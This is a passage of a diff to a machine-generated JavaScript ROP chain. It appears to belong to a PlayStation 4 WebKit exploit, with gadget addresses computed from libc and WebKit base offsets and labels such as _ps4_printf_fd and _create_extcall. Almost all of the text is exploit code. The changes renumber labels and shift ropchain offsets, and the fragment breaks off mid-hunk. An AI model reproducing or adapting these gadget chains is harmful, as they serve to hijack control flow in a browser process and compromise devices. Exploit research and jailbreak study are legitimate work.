libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+153488, //L2244 +ropchain+153152, //L2230 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+153504, //L2245 +ropchain+153168, //L2232 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2244: +//L2230: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2245: +//L2232: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+153648, //L2249 +ropchain+153312, //L2235 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+153616, //L2247 +ropchain+153280, //L2233 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+153632, //L2248 +ropchain+153296, //L2234 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2247: +//L2233: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2248: +//L2234: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2249: +//L2235: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+153720, //L2251 +ropchain+153384, //L2237 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2251: +//L2237: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+153776, //L2252 +ropchain+153440, //L2239 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2252: +//L2239: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -15008,83 +14950,72 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+153856, //L2254 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx -]); -//L2254: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2255: -db([4294967284, 4294967295]); // -0xc -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+153960, //L2257 +ropchain+153576, //L2242 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+153976, //L2258 +ropchain+153560, //L2241 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+206806 //pop rdi +libc_base+206806, //pop rdi +//L2240: +ropchain+222640, //L2090 +libc_base+792472 //pop rcx ]); -//L2257: +//L2241: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2258: +set_gadget(libc_base+788575,); //pop rax +//L2242: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+154128, //L2260 +ropchain+153728, //L2243 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+154160, //L2263 +ropchain+153760, //L2246 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+154144, //L2261 +ropchain+153712, //L2244 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+154112, //L2262 +ropchain+153744, //L2245 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2262: +//L2244: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2260: +//L2243: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2261: +//L2245: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2263: +//L2246: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+154280, //L2265 +ropchain+153880, //L2248 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+154296, //L2266 +ropchain+153896, //L2249 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+154264, //L2264 +ropchain+153864, //L2247 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2264: +//L2247: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2265: +//L2248: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2266: +//L2249: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -15095,22 +15026,22 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+154384, //L2268 +ropchain+153984, //L2251 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2268: +//L2251: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+154440, //L2269 +ropchain+154040, //L2253 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2269: +//L2253: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -15122,34 +15053,34 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+154536, //L2272 +ropchain+154136, //L2255 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2272: +//L2255: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+154592, //L2273 +ropchain+154192, //L2257 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2273: +//L2257: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); -//L2275: +//L2258: db([16, 0]); // 0x10 -set_gadget(libc_base+788575,); //pop rax -//L2276: +set_gadget(libc_base+792472,); //pop rcx +//L2259: db([16, 0]); // 0x10 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -15160,22 +15091,22 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+154744, //L2278 +ropchain+154344, //L2261 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2278: +//L2261: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+154800, //L2279 +ropchain+154400, //L2263 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2279: +//L2263: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -15188,55 +15119,55 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+154904, //L2281 +ropchain+154520, //L2266 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2281: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2282: +//L2265: db([32, 0]); // 0x20 +set_gadget(libc_base+792472,); //pop rcx +//L2266: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+155008, //L2284 +ropchain+154608, //L2267 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+155024, //L2285 +ropchain+154624, //L2269 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2284: +//L2267: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2285: +//L2269: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+155168, //L2289 +ropchain+154768, //L2272 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+155136, //L2287 +ropchain+154736, //L2270 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+155152, //L2288 +ropchain+154752, //L2271 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2287: +//L2270: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2288: +//L2271: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2289: +//L2272: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -15244,55 +15175,55 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+155248, //L2290 +ropchain+154864, //L2275 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2290: +//L2274: +db([4294967280, 4294967295]); // -0x10 +set_gadget(libc_base+792472,); //pop rcx +//L2275: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2291: -db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+155352, //L2293 +ropchain+154952, //L2276 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+155368, //L2294 +ropchain+154968, //L2278 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2293: +//L2276: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2294: +//L2278: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+155512, //L2298 +ropchain+155112, //L2281 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+155480, //L2296 +ropchain+155080, //L2279 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+155496, //L2297 +ropchain+155096, //L2280 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); -//L2296: +//L2279: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2297: +set_gadget(libc_base+206806,); //pop rdi +//L2280: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2298: +//L2281: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -15300,8 +15231,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2300: -ropchain+155616, //L2299 +//L2283: +ropchain+155216, //L2282 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -15310,7 +15241,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp ropchain+86472, //_create_extcall -//L2299: +//L2282: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -15318,55 +15249,55 @@ db([4294967264, 4294967295]); // -0x20 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+155688, //L2301 +ropchain+155304, //L2286 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2301: +//L2285: +db([4294967280, 4294967295]); // -0x10 +set_gadget(libc_base+792472,); //pop rcx +//L2286: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2302: -db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+155792, //L2304 +ropchain+155392, //L2287 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+155808, //L2305 +ropchain+155408, //L2289 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2304: +//L2287: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2305: +//L2289: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+155952, //L2309 +ropchain+155552, //L2292 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+155920, //L2307 +ropchain+155520, //L2290 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+155936, //L2308 +ropchain+155536, //L2291 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); -//L2307: +//L2290: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2308: +set_gadget(libc_base+206806,); //pop rdi +//L2291: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2309: +//L2292: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -15374,7 +15305,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2310: +//L2293: jop_frame_addr, libc_base+793877 //pop rsi ]); @@ -15383,55 +15314,55 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+156080, //L2311 +ropchain+155696, //L2296 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2311: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2312: +//L2295: db([24, 0]); // 0x18 +set_gadget(libc_base+792472,); //pop rcx +//L2296: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+156184, //L2314 +ropchain+155784, //L2297 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+156200, //L2315 +ropchain+155800, //L2299 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2314: +//L2297: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2315: +//L2299: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+156344, //L2319 +ropchain+155944, //L2302 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+156312, //L2317 +ropchain+155912, //L2300 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+156328, //L2318 +ropchain+155928, //L2301 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2317: +//L2300: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2318: +//L2301: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2319: +//L2302: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -15439,55 +15370,55 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+156424, //L2320 +ropchain+156040, //L2305 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2320: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2321: +//L2304: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L2305: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+156528, //L2323 +ropchain+156128, //L2306 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+156544, //L2324 +ropchain+156144, //L2308 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2323: +//L2306: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2324: +//L2308: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+156688, //L2328 +ropchain+156288, //L2311 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+156656, //L2326 +ropchain+156256, //L2309 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+156672, //L2327 +ropchain+156272, //L2310 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2326: +//L2309: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2327: +//L2310: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2328: +//L2311: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -15495,8 +15426,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2330: -ropchain+156792, //L2329 +//L2313: +ropchain+156392, //L2312 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -15504,8 +15435,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+158952, //L2331 -//L2329: +ropchain+158552, //L2314 +//L2312: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -15513,46 +15444,46 @@ db([4294967264, 4294967295]); // -0x20 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+156928, //L2332 +ropchain+156528, //L2316 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+156944, //L2334 +ropchain+156544, //L2317 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+156912, //L2333 +ropchain+156512, //L2315 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2333: +//L2315: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2332: +//L2316: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2334: +//L2317: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+157064, //L2336 +ropchain+156648, //L2318 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+157080, //L2337 +ropchain+156680, //L2320 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+157048, //L2335 +ropchain+156664, //L2319 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); -//L2335: +//L2318: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2336: +set_gadget(libc_base+206806,); //pop rdi +//L2319: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2337: +//L2320: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -15562,17 +15493,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+157176, //L2338 +ropchain+156776, //L2321 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+157192, //L2339 +ropchain+156792, //L2322 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2338: +//L2321: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2339: +//L2322: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -15582,32 +15513,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+157304, //L2340 +ropchain+156904, //L2323 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+157288, //L2341 +ropchain+156888, //L2324 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2341: +//L2324: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2340: +//L2323: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+157392, //L2343 +ropchain+156992, //L2326 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+157376, //L2342 +ropchain+156976, //L2325 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2342: +//L2325: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2343: +//L2326: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -15617,17 +15548,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+157488, //L2344 +ropchain+157088, //L2327 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+157504, //L2345 +ropchain+157104, //L2328 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2344: +//L2327: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2345: +//L2328: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -15637,19 +15568,19 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+157616, //L2346 +ropchain+157216, //L2329 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+157600, //L2347 +ropchain+157200, //L2330 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2347: +//L2330: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2346: +//L2329: db([0, 0]); // 0x0 -//L2121: +//L2122: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -15865,13 +15796,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+158944, //L2348 +ropchain+158544, //L2331 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L2348: -db([0, 0]); // 0x0 //L2331: +db([0, 0]); // 0x0 +//L2314: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -16087,11 +16018,11 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+160272, //L2349 +ropchain+159872, //L2332 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L2349: +//L2332: db([0, 0]); // 0x0 //__putchar: set_gadget(libc_base+793877,); //pop rsi @@ -16099,51 +16030,51 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+160344, //L2350 +ropchain+159944, //L2333 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2350: +//L2333: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+160480, //L2354 +ropchain+160048, //L2335 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+160432, //L2355 +ropchain+160032, //L2337 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2355: +//L2337: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2352: +set_gadget(webkit_base+432898,); //pop r8 +//L2335: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2353: +//L2336: db([0, 0]); // 0x0 -set_gadget(webkit_base+432898,); //pop r8 -//L2354: +set_gadget(libc_base+206806,); //pop rdi +//L2338: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+160576, //L2357 +ropchain+160176, //L2340 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+160560, //L2356 +ropchain+160160, //L2339 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2356: +//L2339: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2357: +//L2340: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -16151,87 +16082,87 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+160712, //L2360 +ropchain+160312, //L2343 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+160696, //L2359 +ropchain+160296, //L2342 webkit_base+7438103, //mov [rsi], rax libc_base+206806, //pop rdi -//L2358: +//L2341: ropchain+136, //_ps4_printf_fd libc_base+792472 //pop rcx ]); -//L2359: +//L2342: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2360: +//L2343: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+160864, //L2361 +ropchain+160464, //L2344 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+160896, //L2364 +ropchain+160496, //L2347 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+160880, //L2362 +ropchain+160448, //L2345 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+160848, //L2363 +ropchain+160480, //L2346 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2363: +//L2345: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2361: +//L2344: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2362: +//L2346: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2364: +//L2347: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+160968, //L2365 +ropchain+160568, //L2348 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+160984, //L2366 +ropchain+160584, //L2349 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2365: +//L2348: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2366: +//L2349: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+161104, //L2368 +ropchain+160704, //L2351 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+161120, //L2369 +ropchain+160720, //L2352 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+161088, //L2367 +ropchain+160688, //L2350 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2367: +//L2350: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2368: +//L2351: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2369: 